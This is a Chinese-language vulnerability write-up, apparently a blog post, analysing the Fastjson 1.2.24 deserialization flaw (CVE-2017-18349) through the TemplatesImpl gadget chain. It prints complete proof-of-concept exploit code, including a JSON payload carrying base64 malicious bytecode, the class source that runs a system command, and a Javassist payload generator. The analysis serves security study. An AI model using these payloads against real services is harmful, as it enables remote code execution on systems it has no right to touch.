fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析

FastJson在<= 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

  • fastjson反序列化时,JSON字符串中的@type字段,用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。

主要存在两种利用方式:

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

这里分析TemplatesImpl利用链

漏洞复现

首先创建一个maven项目、导入Fastjson1.2.23并自动下载相关依赖

然后写入如下代码至Main.java

java 复制代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes_outputProperties 两个成员变量。

  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;

运行之后直接弹出计算器:

漏洞分析

上面的text里面的_bytecodes的内容是以下内容通过javac编译成字节码文件(.class)再base64编码后的结果:

java 复制代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

可以看到,我们通过以上代码直接定义类Test,并在类的构造方法中执行calc的命令;至于为什么要写上述代码的第14-21行,因为Test类是继承AbstractTranslet的,上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法,因此都是需要的;具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。

**总结:**对于上述代码,应该这么理解:建立Test类,并让其继承AbstractTranslet类,然后通过Test t = new Test();来初始化,这样我就是假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。

为什么要继承AbstractTranslet

https://blog.csdn.net/solitudi/article/details/119082164

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

defineClass的利用方式

public class TouchFile{

 public TouchFile() throws Exception {
     Runtime.getRuntime().exec("calc");
 }

}

把它编译成字节码后Base64

之后运行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功弹出了计算器

但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问:

TransletClassLoader类继承了ClassLoader

并且在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法:

然后追踪TransletClassLoader的使用,发现是defineTransletClasses

再往上追踪defineTransletClasses的使用,发现是getTransletInstance

到此为止,要么是Private修饰要么就是Protected修饰,需要再往上继续追踪,发现是newTransformer,可以看到此时已经是public了:

因此,利用链如下:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

基于此,我们可以写出如下POC

java 复制代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class Main {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "test" + System.nanoTime();
        cc.setName(randomClassName);

        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'test',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
解释一下这段POC:

首先,代码导入了一些类,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,还有javassist库的一些类。

在Main类中定义了一个内部静态类test,没有任何具体实现。

在main方法中,代码创建了一个ClassPool对象,它是Javassist库的一部分,用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。

接下来,代码构造了一个字符串变量cmd,内容是要执行的命令,这里是java.lang.Runtime.getRuntime().exec("calc");,即执行计算器程序。

然后,通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器,该类初始化器会在类初始化时执行指定的命令。

接下来,代码生成一个随机的类名,并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。

然后,通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类,这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。

最后,代码使用Fastjson库解析一个JSON字符串text1,并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中,Fastjson库的Feature.SupportNonPublicField特性被启用,以支持解析非公共字段。

对于JSON字符串text1

            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'test',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。最终这个类会被加载并使用newInstance()实例化
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常

为什么这么构造呢?还是直接看defineTransletClasses这里:

可以看到,逻辑是这样的:先判断_bytecodes是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader去加载_bytecodes中的byte[],并对类的父类进行判断,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把类成员属性的_transletIndex设置成当前循环中的标记位,第一次调用的话,就是class[0]

可以看到,这里的_bytecodes_outputProperties都是类成员变量。同时,_outputProperties有自己的getter方法,也就是getOutputProperties

在Fastjson库的反序列化过程中,当遇到TemplatesImpl类的实例时,Fastjson会尝试调用getOutputProperties()方法来获取输出属性。

这是由于Fastjson库在解析过程中会调用目标类的一些方法,以了解对象的结构和属性。而TemplatesImpl类中的getOutputProperties()方法是Java API规定的方法之一,Fastjson会默认调用它。

getOutputProperties()方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

参考

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

https://xz.aliyun.com/t/7846

相关推荐
独行soc11 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
学习溢出17 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
轨迹H2 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
知攻善防实验室2 天前
JAVA安全之类加载器
java·开发语言·java安全
H轨迹H4 天前
一文学会powshell使用及功能
网络安全·渗透测试·powershell·红队全栈
学习溢出4 天前
【网络安全】掌握 Active Directory 攻防审计实操知识点
网络·安全·web安全·网络安全·渗透测试
白帽子黑客罗哥5 天前
Web安全攻防入门教程——hvv行动详解
安全·web安全·网络安全·渗透测试·系统安全·红蓝对抗
Sunset-_5 天前
sunset: midnight
web安全·网络安全·渗透测试
独行soc5 天前
#渗透测试#SRC漏洞挖掘#红蓝攻防#黑客工具之Burp Suite介绍07-Burp IP伪造
安全·渗透测试·csrf·漏洞挖掘
轨迹H6 天前
一文学会“瑞士军刀“-netcat命令使用
linux·网络安全·渗透测试·nc